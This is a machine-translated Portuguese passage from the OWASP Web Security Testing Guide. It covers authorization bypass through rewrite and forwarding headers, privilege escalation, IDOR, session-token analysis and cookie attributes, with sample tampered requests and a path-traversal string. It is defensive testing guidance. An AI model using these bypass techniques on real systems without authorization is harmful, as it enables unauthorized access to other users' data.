Para detectar o suporte para o cabeçalho X-Original-URL ou X-Rewrite-URL , as seguintes etapas podem ser aplicadas.
GET / HTTP/1.1
Host: www.example.com [...]
2. Envie uma solicitação com um cabeçalho X-Original-Url apontando para um recurso inexistente
GET / HTTP/1.1
Host: www.example.com X-
Original-URL: /donotexist1 [...]
3. Envie uma solicitação com um cabeçalho X-Rewrite-Url apontando para um recurso inexistente
GET / HTTP/1.1
Host: www.example.com X-
Rewrite-URL: /donotexist2
[...]
Machine Translated by Google
177
Se a resposta para qualquer solicitação contiver marcadores de que o recurso não foi encontrado, isso indica que o aplicativo oferece suporte aos cabeçalhos de
solicitação especial. Esses marcadores podem incluir o código de status de resposta HTTP 404 ou uma mensagem de “recurso não encontrado” no corpo da
resposta.
Depois que o suporte para o cabeçalho X-Original-URL ou X-Rewrite-URL foi validado, a tentativa de contornar a restrição de controle de acesso pode ser
aproveitada enviando a solicitação esperada para o aplicativo, mas especificando uma URL “permitida” pela frente -end componente como a URL de solicitação
principal e especificando a URL de destino real no cabeçalho X-Original-URL ou X-Rewrite-URL , dependendo daquele suportado. Se ambos forem suportados,
tente um após o outro para verificar para qual cabeçalho o desvio é eficaz.
Frequentemente, painéis de administração ou bits de funcionalidade relacionados a administração são acessíveis apenas para clientes em redes locais, portanto,
pode ser possível abusar de vários proxy ou encaminhar cabeçalhos HTTP relacionados para obter acesso. Alguns cabeçalhos e valores para testar são:
Cabeçalhos:
X-Forwarded-For
X-Forward-For
X-Remote-IP
X-IP de Origem
X-Remote-Addr
X-Client-IP
valores
host local
172.16.0.0/12
192.168.0.0/16
Nota: Incluir um elemento de porta junto com o endereço ou nome do host também pode ajudar a contornar proteções de borda, como firewalls de aplicativos da
web, etc. Por exemplo: 127.0.0.4:80 , 127.0.0.4:443 , 127.0.0.4:43982
Remediação
Empregue os princípios de privilégio mínimo nos usuários, funções e recursos para garantir que nenhum acesso não autorizado ocorra.
Ferramentas
Referências
Padrão de verificação de segurança de aplicativos OWASP 4.0.1, v4.0.1-1, v4.0.1-4, v4.0.1-9, v4.0.1-16
Machine Translated by Google
178
EU IRIA
WSTG-ATHZ-03
Resumo
Esta seção descreve o problema de escalar privilégios de um estágio para outro. Durante esta fase, o testador deve verificar se não é possível para um
usuário modificar seus privilégios ou funções dentro do aplicativo de forma a permitir ataques de escalonamento de privilégios.
A escalação de privilégio ocorre quando um usuário obtém acesso a mais recursos ou funcionalidades do que normalmente são permitidos, e tal elevação ou
alteração deveria ter sido evitada pelo aplicativo. Isso geralmente é causado por uma falha no aplicativo. O resultado é que o aplicativo executa ações com
mais privilégios do que os pretendidos pelo desenvolvedor ou administrador do sistema.
O grau de escalonamento depende de quais privilégios o invasor está autorizado a possuir e quais privilégios podem ser obtidos em uma exploração bem-
sucedida. Por exemplo, um erro de programação que permite que um usuário obtenha privilégio extra após uma autenticação bem-sucedida limita o grau de
escalonamento, porque o usuário já está autorizado a manter algum privilégio. Da mesma forma, um invasor remoto que obtém privilégio de superusuário
sem nenhuma autenticação apresenta um grau maior de escalonamento.
Normalmente, as pessoas se referem à escalação vertical quando é possível acessar recursos concedidos a contas mais privilegiadas (por exemplo, adquirir
privilégios administrativos para o aplicativo) e à escalação horizontal quando é possível acessar recursos concedidos a uma conta com configuração
semelhante (por exemplo, numa aplicação de banca online, acedendo a informação relativa a outro utilizador).
Objetivos do teste
Identifique os pontos de injeção relacionados à manipulação de privilégios.
Como testar
Teste para manipulação de função/privilégio
Em todas as partes do aplicativo em que um usuário pode criar informações no banco de dados (por exemplo, efetuar um pagamento, adicionar um contato
ou enviar uma mensagem), receber informações (extrato da conta, detalhes do pedido etc.) (soltar usuários, mensagens, etc.), é necessário registrar essa
funcionalidade. O testador deve tentar acessar tais funções como outro usuário para verificar se é possível acessar uma função que não deve ser permitida
pela função/privilégio do usuário (mas pode ser permitida como outro usuário).
Por exemplo: O seguinte HTTP POST permite que o usuário que pertence a grp001 acesse o pedido #0001:
groupID=grp001&orderID=0001
Verifique se um usuário que não pertence a grp001 pode modificar o valor dos parâmetros groupID e orderID para ter acesso a esses dados privilegiados.
Machine Translated by Google
179
Por exemplo: A resposta do servidor a seguir mostra um campo oculto no HTML retornado ao usuário após uma
autenticação.
HTTP/1.1 200 OK
Servidor: Netscape-Enterprise/6.0 Data: quarta-
feira, 1 de abril de 2006 13:51:20 GMT Set-Cookie:
USER=aW78ryrGrTWs4MnOd32Fs51yDqp; caminho=/; domínio=www.example.com Set-Cookie:
SESSION=k+KmKeHXTgDi1J5fT7Zz; caminho=/; domínio = www.example.com Cache-Control: sem cache
</tr>
E se o testador modificar o valor da variável profile para SysAdmin ? É possível se tornar administrador?
Por exemplo: Em um ambiente onde o servidor envia uma mensagem de erro contida como valor em um parâmetro específico em um conjunto de
códigos de resposta, conforme a seguir:
@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notificações`0`0`3`Comando
Gerenciador`0`0`0` StateToolsBar`0`0`0`
StateExecToolBar`0`0`0`FlagsToolBar`0
O servidor dá uma confiança implícita ao usuário. Acredita-se que o usuário responderá com a mensagem acima fechando a
sessão.
Nessa condição, verifique se não é possível escalar privilégios modificando os valores dos parâmetros. Neste exemplo específico, modificando o valor
PVValid de -1 para 0 (sem condições de erro), pode ser possível autenticar como administrador no servidor.
Manipulação de endereço IP
Alguns sites limitam o acesso ou contam o número de tentativas de login com falha com base no endereço IP.
Por exemplo:
X-Encaminhado-Para: 8.1.1.1
Nesse caso, se o site usar o valor de X-forwarded-For como endereço IP do cliente, o testador poderá alterar o valor IP do cabeçalho HTTP X-forwarded-
For para contornar a identificação da origem do IP.
Travessia de URL
Tente percorrer o site e verifique se algumas das páginas que podem perder a verificação de autorização.
Por exemplo:
Machine
180
Translated by Google
/../.././userInfo.html
Caixa branca
Se a verificação de autorização de URL for feita apenas por correspondência parcial de URL, é provável que testadores ou hackers possam contornar a
autorização por meio de técnicas de codificação de URL.
Por exemplo:
ID de sessão fraco
Algoritmo de ID de sessão fraco pode ser vulnerável a ataques de força bruta. Por exemplo, um site está usando MD5 (Senha + UserID) como sessionID.
Em seguida, os testadores podem adivinhar ou gerar o ID da sessão para outros usuários.
Referências
Artigos técnicos
Ferramentas
EU IRIA
WSTG-ATHZ-04
Resumo
As referências inseguras de objetos diretos (IDOR) ocorrem quando um aplicativo fornece acesso direto a objetos com base na entrada
fornecida pelo usuário. Como resultado dessa vulnerabilidade, os invasores podem ignorar a autorização e acessar recursos do sistema
diretamente, por exemplo, registros ou arquivos do banco de dados. As referências inseguras de objetos diretos permitem que os invasores
ignorem a autorização e acessem recursos diretamente, modificando o valor de um parâmetro usado para apontar diretamente para um objeto.
Esses recursos podem ser entradas de banco de dados pertencentes a outros usuários, arquivos no sistema e muito mais. Isso é causado
pelo fato de que o aplicativo recebe a entrada fornecida pelo usuário e a utiliza para recuperar um objeto sem executar verificações de
autorização suficientes.
Objetivos do teste
Identificar pontos onde podem ocorrer referências a objetos.
Avalie as medidas de controle de acesso e se elas são vulneráveis ao IDOR.
Como testar
Para testar esta vulnerabilidade, o testador primeiro precisa mapear todos os locais no aplicativo onde a entrada do usuário é usada para
referenciar objetos diretamente. Por exemplo, locais onde a entrada do usuário é usada para acessar uma linha de banco de dados, um
arquivo, páginas de aplicativos e muito mais. Em seguida, o testador deve modificar o valor do parâmetro usado para referenciar objetos e
avaliar se é possível recuperar objetos pertencentes a outros usuários ou ignorar a autorização.
A melhor maneira de testar referências diretas a objetos seria ter pelo menos dois (frequentemente mais) usuários para cobrir diferentes
objetos e funções pertencentes. Por exemplo, dois usuários, cada um com acesso a objetos diferentes (como informações de compra,
mensagens privadas etc.) e (se relevante) usuários com privilégios diferentes (por exemplo, usuários administradores) para verificar se há
referências diretas à funcionalidade do aplicativo. Ao ter vários usuários, o testador economiza um valioso tempo de teste ao adivinhar
nomes de objetos diferentes, pois pode tentar acessar objetos que pertencem ao outro usuário.
Abaixo estão vários cenários típicos para esta vulnerabilidade e os métodos para testar cada um:
Pedido de amostra:
http://foo.bar/somepage?invoice=12345
Nesse caso, o valor do parâmetro fatura é usado como índice em uma tabela de faturas no banco de dados. O aplicativo pega o valor
desse parâmetro e o utiliza em uma consulta ao banco de dados. O aplicativo retorna as informações da fatura para o usuário.
Como o valor da nota fiscal vai direto para a consulta, modificando o valor do parâmetro é possível recuperar qualquer objeto nota fiscal,
independente do usuário a quem a nota fiscal pertence. Para testar este caso, o testador deve obter o identificador de uma fatura pertencente
a um usuário de teste diferente (garantindo que ele não deva visualizar essas informações pela lógica de negócios do aplicativo) e, em
seguida, verificar se é possível acessar objetos sem autorização.
Pedido de amostra:
Machine
182
Translated by Google
http://foo.bar/changepassword?user=someuser
Nesse caso, o valor do parâmetro user é usado para informar ao aplicativo para qual usuário ele deve alterar a senha. Em muitos casos,
essa etapa fará parte de um assistente ou de uma operação de várias etapas. Na primeira etapa o aplicativo receberá uma solicitação
informando qual a senha do usuário que deseja alterar e na próxima etapa o usuário fornecerá uma nova senha (sem solicitar a atual).
O parâmetro user é usado para referenciar diretamente o objeto do usuário para o qual a operação de alteração de senha será executada.
Para testar esse caso, o testador deve tentar fornecer um nome de usuário de teste diferente daquele conectado no momento e verificar se
é possível modificar a senha de outro usuário.
Pedido de amostra:
http://foo.bar/showImage?img=img00011
Nesse caso, o valor do parâmetro file é usado para informar ao aplicativo qual arquivo o usuário pretende recuperar. Ao fornecer o nome
ou identificador de um arquivo diferente (por exemplo, file=image00012.jpg), o invasor poderá recuperar objetos pertencentes a outros
usuários.
Para testar esse caso, o testador deve obter uma referência que o usuário não deve acessar e tentar acessá-la usando-a como o valor do
parâmetro de arquivo . Nota: Esta vulnerabilidade é frequentemente explorada em conjunto com uma vulnerabilidade de path traversal/
diretório (consulte Testing for Path Traversal)
Pedido de amostra:
http://foo.bar/accessPage?menuitem=12
Nesse caso, o valor do parâmetro menuitem é usado para informar ao aplicativo qual item de menu (e, portanto, qual funcionalidade do
aplicativo) o usuário está tentando acessar. Suponha que o usuário seja restrito e, portanto, tenha links disponíveis apenas para acessar os
itens de menu 1, 2 e 3. Ao modificar o valor do parâmetro menuitem , é possível ignorar a autorização e acessar funcionalidades adicionais
do aplicativo. Para testar esse caso, o testador identifica um local onde a funcionalidade do aplicativo é determinada por referência a um
item de menu, mapeia os valores dos itens de menu que o usuário de teste pode acessar e tenta outros itens de menu.
Nos exemplos acima, a modificação de um único parâmetro é suficiente. No entanto, às vezes, a referência do objeto pode ser dividida
entre mais de um parâmetro e o teste deve ser ajustado de acordo.
Referências
Top 10 2013-A4-Insecure Direct Object References
Machine Translated by Google
183
EU IRIA
WSTG-SESS-01
Resumo
Um dos principais componentes de qualquer aplicativo baseado na Web é o mecanismo pelo qual ele controla e mantém o estado de um usuário
interagindo com ele. Para evitar a autenticação contínua para cada página de um site ou serviço, os aplicativos da web implementam vários
mecanismos para armazenar e validar credenciais por um período de tempo pré-determinado. Esses mecanismos são conhecidos como
Gerenciamento de Sessões.
Neste teste, o testador deseja verificar se os cookies e outros tokens de sessão são criados de forma segura e imprevisível. Um invasor capaz
de prever e forjar um cookie fraco pode sequestrar facilmente as sessões de usuários legítimos.
Os cookies são usados para implementar o gerenciamento de sessão e são descritos em detalhes no RFC 2965. Resumindo, quando um usuário
acessa um aplicativo que precisa acompanhar as ações e a identidade desse usuário em várias solicitações, um cookie (ou cookies) é gerado
pelo servidor e enviado ao cliente. O cliente enviará o cookie de volta ao servidor em todas as conexões seguintes até que o cookie expire ou
seja destruído. Os dados armazenados no cookie podem fornecer ao servidor um amplo espectro de informações sobre quem é o usuário, quais
ações ele realizou até agora, quais são suas preferências, etc., fornecendo assim um estado a um protocolo sem estado como o HTTP.
Um exemplo típico é fornecido por um carrinho de compras online. Ao longo da sessão de um usuário, o aplicativo deve rastrear sua identidade,
seu perfil, os produtos que ele escolheu comprar, a quantidade, os preços individuais, os descontos etc. Os cookies são uma maneira eficiente
de armazenar e transmitir esse informações de um lado para o outro (outros métodos são parâmetros de URL e campos ocultos).
Devido à importância dos dados que armazenam, os cookies são, portanto, vitais na segurança geral do aplicativo.
Ser capaz de adulterar os cookies pode resultar no seqüestro de sessões de usuários legítimos, obtendo privilégios mais altos em uma sessão
ativa e, em geral, influenciando as operações do aplicativo de maneira não autorizada.
Neste teste, o testador deve verificar se os cookies enviados aos clientes resistem a uma ampla gama de ataques destinados a interferir nas
sessões de usuários legítimos e no próprio aplicativo. O objetivo geral é conseguir forjar um cookie que será considerado válido pela aplicação e
que proporcionará algum tipo de acesso não autorizado (sequestro de sessão, escalonamento de privilégios, …).
manipulação de cookies: falsificação de um cookie válido para realizar o ataque. Esta última etapa pode exigir um grande número de
tentativas, dependendo de como o cookie é criado (ataque de força bruta do cookie).
Outro padrão de ataque consiste em estourar um cookie. A rigor, esse ataque tem uma natureza diferente, pois aqui os testadores não estão
tentando recriar um cookie perfeitamente válido. Em vez disso, o objetivo é estourar uma área de memória, interferindo assim no comportamento
correto do aplicativo e possivelmente injetando (e executando remotamente) código malicioso.
Objetivos do teste
Reúna tokens de sessão, para o mesmo usuário e para usuários diferentes sempre que possível.
Analise e certifique-se de que existe aleatoriedade suficiente para interromper os ataques de falsificação de sessão.
Modifique os cookies que não são assinados e contêm informações que podem ser manipuladas.
Machine Translated by Google
185
Como testar
Testes e exemplos de caixa preta
Toda interação entre o cliente e o aplicativo deve ser testada pelo menos em relação aos seguintes critérios:
Quais configurações de controle de cache HTTP/1.1 são usadas para proteger os cookies?
Quais configurações de controle de cache HTTP/1.0 são usadas para proteger os cookies?
Coleta de Cookies
O primeiro passo necessário para manipular o cookie é entender como o aplicativo cria e gerencia os cookies. Para esta tarefa, os testadores devem tentar
responder às seguintes perguntas:
Navegue pelo aplicativo. Observe quando os cookies são criados. Faça uma lista de cookies recebidos, a página que os define (com a diretiva set-
cookie), o domínio para o qual são válidos, seu valor e suas características.
Navegando no aplicativo, descubra quais cookies permanecem constantes e quais são modificados. Quais eventos modificam o cookie?
Quais partes do aplicativo requerem este cookie para serem acessados e utilizados?
Descubra quais partes do aplicativo precisam de um cookie. Acesse uma página e tente novamente sem o cookie ou com um valor modificado. Tente
mapear quais cookies são usados onde.
Uma planilha mapeando cada cookie para as partes do aplicativo correspondente e as informações relacionadas podem ser uma saída valiosa dessa fase.
Análise da Sessão
Os próprios tokens de sessão (Cookie, SessionID ou Hidden Field) devem ser examinados para garantir sua qualidade do ponto de vista da segurança.
Eles devem ser testados em relação a critérios como aleatoriedade, singularidade, resistência a análises estatísticas e criptográficas e vazamento de
informações.
A primeira etapa é examinar a estrutura e o conteúdo de um ID de sessão fornecido pelo aplicativo. Um erro comum é incluir dados específicos no Token
em vez de emitir um valor genérico e referenciar dados reais do lado do servidor.
Se o ID da sessão for texto não criptografado, a estrutura e os dados pertinentes podem ser imediatamente óbvios, como
192.168.100.1:owaspuser:password:15:58 .
Se parte ou todo o token parece estar codificado ou com hash, ele deve ser comparado a várias técnicas para verificar a ofuscação óbvia. Por exemplo, a
string 192.168.100.1:owaspuser:password:15:58 é representada em Hex, Base64 e como um hash MD5:
Hex: 3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538
Machine Translated by Google
186
Base64: MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=
MD5: 01c2fc4f0a817afd8366689bd29dd40a
Tendo identificado o tipo de ofuscação, pode ser possível decodificar de volta aos dados originais. Na maioria dos casos, no entanto, isso é improvável. Mesmo
assim, pode ser útil enumerar a codificação existente a partir do formato da mensagem.
Além disso, se o formato e a técnica de ofuscação puderem ser deduzidos, ataques automatizados de força bruta poderão ser planejados.
Os tokens híbridos podem incluir informações como endereço IP ou ID do usuário junto com uma parte codificada, como
owaspuser:192.168.100.1:a7656fafe94dae72b1e1487670148412 .
Tendo analisado um único token de sessão, a amostra representativa deve ser examinada. Uma simples análise dos tokens deve revelar imediatamente quaisquer
padrões óbvios. Por exemplo, um token de 32 bits pode incluir 16 bits de dados estáticos e 16 bits de dados variáveis. Isso pode indicar que os primeiros 16 bits
representam um atributo fixo do usuário – por exemplo, o nome de usuário ou endereço IP. Se o segundo bloco de 16 bits estiver aumentando a uma taxa regular,
isso pode indicar um elemento sequencial ou mesmo baseado em tempo para a geração do token. Veja exemplos.
Se forem identificados elementos estáticos para os Tokens, outras amostras devem ser coletadas, variando um elemento de entrada potencial por vez. Por exemplo,
tentativas de login por meio de uma conta de usuário diferente ou de um endereço IP diferente podem gerar uma variação na parte estática anterior do token de
sessão.
As seguintes áreas devem ser abordadas durante o teste de estrutura de ID de sessão única e múltipla:
Quais informações confidenciais em texto não criptografado são armazenadas na ID da sessão? Por exemplo, nomes de usuários/UID, endereços
Quais padrões óbvios estão presentes no ID da sessão como um todo ou em partes individuais?
A análise das áreas variáveis (se houver) da ID da sessão deve ser realizada para estabelecer a existência de quaisquer padrões reconhecíveis ou previsíveis.
Essas análises podem ser realizadas manualmente e com ferramentas estatísticas ou criptanalíticas sob medida ou OTS para deduzir quaisquer padrões no
conteúdo do ID da sessão. As verificações manuais devem incluir comparações de IDs de sessão emitidos para as mesmas condições de login – por exemplo, o
O tempo é um fator importante que também deve ser controlado. Números elevados de conexões simultâneas devem ser feitos para coletar amostras na mesma
janela de tempo e manter essa variável constante. Mesmo uma quantização de 50 ms ou menos pode ser muito grosseira e uma amostra obtida dessa maneira
Os elementos variáveis devem ser analisados ao longo do tempo para determinar se são de natureza incremental. Onde eles são incrementais, os padrões relativos
ao tempo absoluto ou decorrido devem ser investigados. Muitos sistemas usam o tempo como uma semente para seus elementos pseudo-aleatórios. Onde os
padrões são aparentemente aleatórios, hashes unidirecionais de tempo ou outras variações ambientais devem ser consideradas como uma possibilidade.
Normalmente, o resultado de um hash criptográfico é um número decimal ou hexadecimal, portanto, deve ser identificável.
Ao analisar sequências, padrões ou ciclos de ID de Sessão, elementos estáticos e dependências do cliente devem ser considerados como possíveis elementos
Os IDs de sessão são comprovadamente aleatórios por natureza? Os valores resultantes podem ser reproduzidos?
O próximo ID pode ser deduzido, dado o conhecimento total do algoritmo de geração e dos IDs anteriores?
Agora que o testador enumerou os cookies e tem uma ideia geral de seu uso, é hora de dar uma olhada mais profunda nos cookies que parecem
interessantes. Em quais cookies o testador está interessado? Um cookie, para fornecer um método seguro de gerenciamento de sessão, deve
combinar várias características, cada uma das quais visa proteger o cookie de uma classe diferente de ataques.
1. Imprevisibilidade: um cookie deve conter uma certa quantidade de dados difíceis de adivinhar. Quanto mais difícil for forjar um cookie válido,
mais difícil será invadir a sessão do usuário legítimo. Se um invasor puder adivinhar o cookie usado em uma sessão ativa de um usuário
legítimo, ele poderá representar totalmente esse usuário (seqüestro de sessão). Para tornar um cookie imprevisível, valores aleatórios ou
criptografia podem ser usados.
2. Resistência à adulteração: um cookie deve resistir a tentativas maliciosas de modificação. Se o testador receber um cookie como se fosse
IsAdmin=Não , trivial modificá-lo para obter direitos administrativos, a menos que o aplicativo execute uma verificação dupla (por exemplo,
3. Expiração: um cookie crítico deve ser válido apenas por um período de tempo apropriado e deve ser excluído do disco ou da memória
posteriormente para evitar o risco de ser repetido. Isso não se aplica a cookies que armazenam dados não críticos que precisam ser
lembrados durante as sessões (por exemplo, aparência do site).
4. Sinalizador seguro : um cookie cujo valor é crítico para a integridade da sessão deve ter este sinalizador habilitado para
para permitir sua transmissão apenas em um canal criptografado para impedir a espionagem.
A abordagem aqui é coletar um número suficiente de instâncias de um cookie e começar a procurar padrões em seu valor.
O significado exato de “suficiente” pode variar de um punhado de amostras, se o método de geração de cookies for muito fácil de quebrar, a
vários milhares, se o testador precisar prosseguir com alguma análise matemática (por exemplo, qui-quadrado, atratores. Consulte mais tarde
para mais informações).
É importante prestar atenção especial ao fluxo de trabalho do aplicativo, pois o estado de uma sessão pode ter um forte impacto nos cookies
coletados. Um cookie coletado antes de ser autenticado pode ser muito diferente de um cookie obtido após a autenticação.
Outro aspecto a ter em consideração é o tempo. Sempre registre a hora exata em que um cookie foi obtido, quando houver a possibilidade de
que o tempo desempenhe um papel no valor do cookie (o servidor pode usar um registro de data e hora como parte do valor do cookie). A hora
registrada pode ser a hora local ou o tiemstamp do servidor incluído na resposta HTTP (ou ambos).
Ao analisar os valores coletados, o testador deve tentar descobrir todas as variáveis que podem ter influenciado o valor do cookie e tentar variá-
las uma de cada vez. Passar para o servidor versões modificadas do mesmo cookie pode ser muito útil para entender como o aplicativo lê e
processa o cookie.
Qual conjunto de caracteres é usado no cookie? O cookie tem um valor numérico? alfanumérico? hexadecimal? O que acontece se o
testador inserir em um cookie caracteres que não pertençam ao charset esperado?
O cookie é composto de diferentes subpartes contendo diferentes informações? Como as diferentes partes são separadas? Com quais
delimitadores? Algumas partes do cookie podem ter uma variação maior, outras podem ser constantes, outras podem assumir apenas um
conjunto limitado de valores. Quebrar o cookie em seus componentes básicos é o primeiro e fundamental passo.
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q
Machine Translated by Google
188
ID - hexadecimal
CR - inteiro pequeno
TM e LM – inteiro grande. (E curiosamente possuem o mesmo valor. Vale a pena ver o que acontece modificando um deles)
S - alfanumérico
Mesmo quando nenhum delimitador é usado, ter amostras suficientes pode ajudar a entender a estrutura.
Os ataques de força bruta inevitavelmente partem de questões relacionadas à previsibilidade e à aleatoriedade. A variação nos IDs de sessão deve
ser considerada juntamente com a duração e os tempos limite da sessão do aplicativo. Se a variação nos IDs de sessão for relativamente pequena
e a validade do ID de sessão for longa, a probabilidade de um ataque de força bruta bem-sucedido é muito maior.
Um ID de sessão longo (ou melhor, um com muita variação) e um período de validade mais curto tornariam muito mais difícil o sucesso em um
ataque de força bruta.
Quanto tempo levaria um ataque de força bruta em todos os IDs de sessão possíveis?
O espaço do ID da sessão é grande o suficiente para evitar força bruta? Por exemplo, o comprimento da chave é suficiente quando comparado
ao tempo de vida válido?
Os atrasos entre as tentativas de conexão com diferentes IDs de sessão atenuam o risco desse ataque?
O ID de sessão ou Cookie emitido para o cliente não deve ser facilmente previsível (não use algoritmos lineares baseados em variáveis
previsíveis, como o endereço IP do cliente). O uso de algoritmos criptográficos com comprimento de chave de 256 bits é encorajado (como
AES).
Comprimento do token
Sessão expirada
O token de sessão deve ter um tempo limite definido (depende da criticidade dos dados gerenciados pelo aplicativo)
Configuração de cookies:
seguro (definido apenas no canal HTTPS): Set-Cookie: cookie=data; caminho=/; domínio=.aaa.it; seguro HTTPOnly (não
Ferramentas
Projeto de Proxy de Ataque Zed OWASP (ZAP) - apresenta um mecanismo de análise de token de sessão.
Sequenciador de arrotos
JHijack do YEHG
Machine Translated by Google
189
Referências
Artigos técnicos
RFC 2965 “Mecanismo de gerenciamento de estado HTTP”
ORL
EU IRIA
WSTG-SESS-02
Resumo
Os cookies da Web (aqui referidos como cookies) costumam ser um vetor de ataque importante para usuários mal-intencionados (normalmente
direcionados a outros usuários) e o aplicativo deve sempre tomar a devida diligência para proteger os cookies.
O HTTP é um protocolo sem estado, o que significa que não contém nenhuma referência a solicitações enviadas pelo mesmo usuário. Para corrigir esse
problema, as sessões foram criadas e anexadas às solicitações HTTP. Os navegadores, conforme discutido no teste de armazenamento do navegador,
contêm vários mecanismos de armazenamento. Nessa seção do guia, cada um é discutido minuciosamente.
O mecanismo de armazenamento de sessão mais usado em navegadores é o armazenamento de cookies. Os cookies podem ser definidos pelo
servidor, incluindo um Set-Cookie cabeçalho na resposta HTTP ou via JavaScript. Os cookies podem ser usados por vários motivos, como:
gerenciamento de sessão
personalização
rastreamento
Para proteger os dados de cookies, a indústria desenvolveu meios para ajudar a bloquear esses cookies e limitar sua superfície de ataque. Com o tempo,
os cookies se tornaram um mecanismo de armazenamento preferencial para aplicativos da web, pois permitem grande flexibilidade no uso e proteção.
Atributos de cookies
Prefixos de cookies
Objetivos do teste
Certifique-se de que a configuração de segurança adequada esteja definida para cookies.
Como testar
Abaixo, uma descrição de cada atributo e prefixo será discutida. O testador deve validar se eles estão sendo usados corretamente pelo aplicativo. Os
cookies podem ser revisados usando um proxy de interceptação ou revisando o jarro de cookies do navegador.
Atributos de cookies
Atributo seguro
o seguro O atributo informa ao navegador para enviar o cookie apenas se a solicitação estiver sendo enviada por um canal seguro, como HTTPS . Isso
ajudará a proteger o cookie de ser transmitido em solicitações não criptografadas. Se o aplicativo puder ser acessado por HTTP e HTTPS
, um invasor pode redirecionar o usuário para enviar seu cookie como parte de
solicitações não protegidas.
Atributo HttpOnly
O HttpOnly O atributo é usado para ajudar a prevenir ataques como vazamento de sessão, pois não permite que o cookie seja acessado por meio de um script do lado do cliente, como
JavaScript.
Machine Translated by Google
191
Isso não limita toda a superfície de ataque dos ataques XSS, pois um invasor ainda pode enviar solicitações no lugar do usuário, mas limita
imensamente o alcance dos vetores de ataque XSS.
Atributo de domínio
O domínio O atributo é usado para comparar o domínio do cookie com o domínio do servidor para o qual a solicitação HTTP está sendo feita. Se
o domínio corresponder ou se for um subdomínio, o atributo path será verificado em seguida.
Observe que apenas os hosts que pertencem ao domínio especificado podem definir um cookie para esse domínio. Além disso, o atributo de
domínio não pode ser um domínio de nível superior (como .gov ou .com ) para impedir que os servidores definam cookies arbitrários para outro
domínio (como definir um cookie para owasp.org ). Se o atributo de domínio não for definido, o nome do host do servidor que gerou o cookie será
usado como o valor padrão do domínio .
Por exemplo, se um cookie for definido por um aplicativo em app.mydomain.com sem nenhum atributo de domínio definido, o cookie será
reenviado para todas as solicitações subsequentes para app.mydomain.com e seus subdomínios (como hacker.app.mydomain .com ), mas não
para otherapp.mydomain.com . Se um desenvolvedor quisesse afrouxar essa restrição, ele poderia definir o atributo de domínio como
mydomain.com . Nesse caso, o cookie seria enviado para todas as solicitações dos subdomínios app.mydomain.com e mydomain.com , como
hacker.app.mydomain.com , e até bank.mydomain.com . Se houver um servidor vulnerável em um subdomínio (por exemplo,
otherapp.mydomain.com ) e o atributo de domínio tiver sido definido de maneira muito vaga (por exemplo, mydomain.com ), o servidor vulnerável
poderá ser usado para coletar cookies (como tokens de sessão) em todo o escopo de mydomain.com .
Atributo de caminho
o caminho atributo desempenha um papel importante na definição do escopo dos cookies em conjunto com o domínio . Além do domínio, o
caminho da URL para o qual o cookie é válido pode ser especificado. Se o domínio e o caminho corresponderem, o cookie será enviado na
solicitação. Assim como com o atributo de domínio, se o atributo de caminho for definido de maneira muito vaga, ele poderá deixar o aplicativo
vulnerável a ataques de outros aplicativos no mesmo servidor. Por exemplo, se o atributo path foi definido como a raiz do servidor da Web /
, então os cookies do aplicativo serão enviados para todos os aplicativos dentro do mesmo domínio (se vários
aplicação residem no mesmo servidor). Alguns exemplos para vários aplicativos no mesmo servidor:
caminho=/banco
caminho=/privado
path=/docs
path=/docs/admin
Atributo Expira
Ao contrário dos cookies de sessão, cookies persistentes serão usados pelo navegador até que o cookie expire. Assim que a data de expiração
exceder o tempo definido, o navegador excluirá o cookie.
Atributo SameSite
O mesmo site O atributo é usado para afirmar que um cookie não deve ser enviado junto com solicitações entre sites. Esse recurso permite que o
servidor reduza o risco de vazamento de informações entre organizações. Em alguns casos, também é usado como uma estratégia de redução
de risco (ou mecanismo de defesa em profundidade) para evitar ataques de falsificação de solicitação entre sites . Este atributo pode ser
configurado em três modos diferentes:
Rigoroso
relaxado
Nenhum
Valor estrito
Machine
192
Translated by Google
O valor Strict é o uso mais restritivo de SameSite , permitindo que o navegadorenvie o cookie apenas para o contexto primário sem navegação de nível
superior. Ou seja, os dados associados ao cookie serão enviados apenas em solicitações correspondentes ao site atual mostrado na barra de URL do
navegador. O cookie não será enviado em solicitações geradas por sites de terceiros. Este valor é especialmente recomendado para ações executadas
no mesmo domínio. No entanto, pode ter algumas limitações com alguns sistemas de gerenciamento de sessão afetando negativamente a experiência
de navegação do usuário. Como o navegador não enviaria o cookie em nenhuma solicitação gerada por um domínio ou e-mail de terceiros, o usuário
seria obrigado a entrar novamente, mesmo que já tivesse uma sessão autenticada.
Valor Lax
O valor Lax é menos restritivo que Strict . O cookie será enviado se a URL for igual ao domínio do cookie (primeiro), mesmo que o link seja proveniente
de um domínio de terceiros. Esse valor é considerado pela maioria dos navegadores o comportamento padrão, pois fornece uma experiência de usuário
melhor do que o valor Strict . Ele não é acionado para ativos, como imagens, em que os cookies podem não ser necessários para acessá-los.
Nenhum valor
O valor None especifica que o navegador enviará o cookie em solicitações entre sites (o comportamento normal antes da implementação de SamseSite )
somente se o atributo Secure também for usado, por exemplo , SameSite=None; seguro . É um
valor recomendado, ao invés de não especificar nenhum valor SameSite , pois força o uso do atributo secure .
Prefixos de cookies
Por design, os cookies não têm capacidade para garantir a integridade e confidencialidade das informações neles armazenadas. Essas limitações
tornam impossível para um servidor ter confiança sobre como os atributos de um determinado cookie foram definidos na criação. Para fornecer
aos servidores esses recursos de maneira compatível com versões anteriores, o setor introduziu o conceito de prefixos de nome de cookie para
facilitar a passagem de tais detalhes incorporados como parte do nome do cookie.
Prefixo do host
2. O cookie deve ser definido a partir de um URI considerado seguro pelo agente do usuário.
3. Enviado apenas para o host que definiu o cookie e NÃO DEVE incluir nenhum atributo de domínio .
4. O cookie deve ser definido com o atributo Path com um valor de / para que seja enviado a cada solicitação ao host.
Por esse motivo, o cookie Set-Cookie: __Host-SID=12345; Seguro; Path=/ seria aceito enquanto qualquer um dos seguintes sempre seria rejeitado: Set-
Cookie: __Host-SID=12345 Set-Cookie: __Host-SID=12345; Secure Set-Cookie: __Host-SID=12345; Domain=site.example Set-Cookie: __Host-SID=12345;
Domínio=site.exemplo;
Path=/ Set-Cookie: __Host-SID=12345; Seguro; Domínio=site.exemplo; Caminho=/
Prefixo seguro
